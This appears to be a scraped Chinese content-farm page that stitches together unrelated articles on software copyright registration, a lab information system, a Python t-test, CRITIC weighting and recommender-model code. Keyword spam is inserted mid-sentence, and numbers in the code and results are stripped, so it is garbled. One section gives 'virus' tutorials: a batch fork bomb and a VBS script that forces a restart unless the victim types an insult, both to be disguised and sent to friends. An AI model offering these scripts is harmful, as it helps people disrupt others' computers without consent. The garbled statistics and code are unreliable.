1.关于如何成功申请软件著作权与专利的源码样本指导
2.区域LIS系统源码 标本采集、标本核收、源码样本标本检验、源码样本室内质控、源码样本报告发布、源码样本统计分析
3.Python数据分析实战-实现T检验（附源码和实现效果）
4.求病毒样本以及源代码
5.指标权重建模系列三：白话改进CRITIC法赋权（附Python源码）
6.序列化推荐中的源码样本任务网源码设置GRU与Transformer源码解析之一
关于如何成功申请软件著作权与专利的指导
1.需首先通过官方渠道向中华人民共和国著作权保护中心下属软件登记部门提交相关申请材料；
2.申请过程中需准备申请表格、详细阐述软件所有权所有者的源码样本证明文件以及完整的软件源代码，同时应附上详尽的源码样本软件操作指南(即软件使用说明书)，并提供切实有效的源码样本申请人身份证明资料；若选择委托第三方代理机构进行申请办理，则须附上经委托人及代理方签署的源码样本代理委托协议和代理人员的身份证明文件等相关材料。
值得注意的源码样本是，提供的源码样本源代码样本需包括前三十页与后三十页，且每页面需满行，源码样本不能出现空白页面，源码样本另外在每页的源码样本顶端应有明确表明申请人名称及其所开发软件全面名称的字样，如源代码数量不足页，那么应当提交其所有源代码作为参考依据；
3.在整个申请流程当中，您将需缴纳元人民币的申请费用，以用于纸质证书的印制费用，此外，agoda返利源码若选择委托第三方代理机构协助申请办理，则还需支付相应的代理服务费用；
4.申请材料提交完成后，我们会在接下来的1至3个月内进行严格审核工作。
区域LIS系统源码 标本采集、标本核收、标本检验、室内质控、报告发布、统计分析
区域LIS系统源码，采用SaaS模式与B/S架构，为基层医疗机构提供全方位检验业务管理平台。系统流程涵盖标本采集、标本核收、标本检验、室内质控、报告发布与统计分析，助力提升检验业务水准。技术架构基于ASP.NET CORE 3.1 MVC、SQLserver与Redis。向上趋势线源码
系统具备以下特点：
1. SaaS模式，支持医联体、医共体等扩展模式，实现统一管理与数据维护。
2. 自主知识产权，确保与其它模块无缝对接。
3. 设备驱动技术，兼容大部分设备，支持单向与双向通讯。
4. 强化质控，从样本到结果审核，自动判定异常，减少错漏。
5. 提供全面统计分析功能，对数据进行多维度、多种形式的统计。
6. 综合管理模块，包括标本管理、两癌筛查、cq脚本源码数据分析、试剂管理、人员管理、收费管理、成本管理与质控管理。
7. 创新技术采用，包括.Net Core新框架、DEV报表、前端js封装、分布式文件存储与分布式缓存，支持LIS独立部署与Docker部署。
8. 预设多种报告模板，支持个性化报告出具与服务端独立队列生成报告，实现快速报告生成与历史数据随时查看。
Python数据分析实战-实现T检验（附源码和实现效果）
T检验是一种用于比较两个样本均值是否存在显著差异的统计方法。广泛应用于各种场景，例如判断两组数据是否具有显著差异。使用T检验前，需确保数据符合正态分布，php信息源码并且样本方差具有相似性。T检验有多种变体，包括独立样本T检验、配对样本T检验和单样本T检验，针对不同实验设计和数据类型选择适当方法至关重要。
实现T检验的Python代码如下：
python
import numpy as np
import scipy.stats as stats
# 示例数据
data1 = np.array([1, 2, 3, 4, 5])
data2 = np.array([2, 3, 4, 5, 6])
# 独立样本T检验
t_statistic, p_value = stats.ttest_ind(data1, data2)
print(f"T统计量：{ t_statistic}")
print(f"显著性水平：{ p_value}")
# 根据p值判断差异显著性
if p_value < 0.:
print("两个样本的均值存在显著差异")
else:
print("两个样本的均值无显著差异")
运行上述代码，将输出T统计量和显著性水平。根据p值判断，若p值小于0.，则可认为两个样本的均值存在显著差异；否则，认为两者均值无显著差异。
实现效果
根据上述代码，执行T检验后，得到的输出信息如下：
python
T统计量：-0.
显著性水平：0.
根据输出结果，T统计量为-0.，显著性水平为0.。由于p值大于0.，我们无法得出两个样本均值存在显著差异的结论。因此，可以判断在置信水平为0.时，两个样本的均值无显著差异。
求病毒样本以及源代码
1.新建一个记事本
2.把下面代码增贴进去
@echo off
start cmd
%0
3.增贴后，点击文件 - 另存为
4.输入文件名，在文件名后面加上.bat
5.然后发给好友就可以了！
（发送好友的时候，就好就加个壳，右键文件 - 压缩文件 即可！）
PS：力相当的厉害，所以请勿弄过火，否则后果自负！
文件“我是猪”让好友关机
相信有的人知道是什么，有的人不知道是什么
总之这个是让别人关机的东西。
那怎么制作呢br>
其实很简单， - 小威 - 今天给大家的教程是：文件“我是猪”让好友关机
制作方式：
1.点击桌面 - 右键 - 新建 - 文本文档
2.打开这个 文本文档
3.把这些代码复制到 文本文档上去
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t -c ""一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a "我是猪")
a = inputbox ("说 ""我是猪""0","说不说","不说",,)
msgbox chr() + chr() + chr() + a,0,"MsgBox"
loop
msgbox chr() + chr() + chr() + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr() + chr() + chr() + "哈哈哈哈，真过瘾"
4.复制好后，点击 文件 - 另存为 - 桌面 - 然后输入名字的时候，在名字的后面加上 .vbe
比如我要输入的名字是：小威 则改成 小威.vbe
然后点击保存、
然后把这个东西发给好友，只要好友一打开。
如果好友不输入：我是猪的话，则立即关机。
教程到这。
指标权重建模系列三：白话改进CRITIC法赋权（附Python源码）
上节回顾
前文讲述了CRITIC法赋权重的基本概念，其中涉及波动度与冲突度两个关键点。波动度指的是同一指标下数据的标准差，冲突度则衡量了指标间的相关性。
数据模型介绍
在数据集中，n个样本，m个指标，数学表达如下：
公式略
对CRITIC方法的改进
改进CRITIC法需聚焦波动度与冲突度。知友反馈指出公式上的不足，经文献研究后，重审并提出改进。
改进波动度计算
为消除量纲影响，改进公式将标准差除以均值，获得无量纲指标。
冲突度改进
原冲突度公式只考虑正相关。改进后，负相关亦视为强相关，调整冲突度计算公式。
改进后权重计算
引入熵权法，通过加权平均，平衡指标重要性与信息量，提升权重准确性与稳定性。
具体实现参考已发布的信息熵介绍文章。
Python代码
提供CRITIC法改进版的Python代码实现，便于实践操作。
参考文献
[1] 韩一鸣,徐鹏飞,宫建锋等.基于改进CRITIC-熵权法的电网发展经营综合评价体系研究[J].机电信息,():1-7+.DOI:./j.cnki.cn-/tm....
[2] 弋若兰.我国上市公司信用风险评估研究——基于改进CRITIC熵权组合赋权-TOPSIS模型[J].投资与创业,,():-.
序列化推荐中的GRU与Transformer源码解析之一
GRU4Rec源码(TF版本)：github.com/Songweiping/...
Transformer源码：github.com/kang/SASR...
序列化推荐领域中，GRU4Rec成功地将循环神经网络(NLP和时序预测常用)应用至推荐领域，此模型取得了良好效果。紧随其后的是"SASR"，基于注意力机制的自适应序列推荐模型，实验表明其性能超越了GRU4Rec。
两篇论文的作者均在源码公开阶段，为研究者提供参考。我们深入剖析源码，后续系列文章将比较GRU4Rec与SASR的差异、联系与优缺点。
GRU4Rec模型结构简洁，采用门限循环神经网络，Embedding层处理item_id的one_hot编码，降低维度，便于优化。
并行化训练数据集优化了模型训练速度，构建了training_batch，便于使用GPU加速矩阵运算。
负采样技术提高了训练频率，利用同一时刻不同session中的item作为负样本。
模型设计了贝叶斯排序和TOP1等pairwise方法计算排序损失，认为pairwise结果优于pointwise。
实验数据集包括RSC和私有VIDEO集，结果表明GRU4Rec模型性能优秀，测试集评价指标包括召回率(recall)和倒序排名得分(mrr)。
深入分析模型的Tensorflow版本代码，主要从main.py和model.py文件开始，重点解析模型定义、损失函数、GRU4Rec核心代码、数据集初始化、模型训练与预测以及评估函数。
GRU4Rec的代码分析暂告一段落，后续将详细梳理SASR代码，目标是通过三篇文章全面探讨两个模型的细节。感谢关注。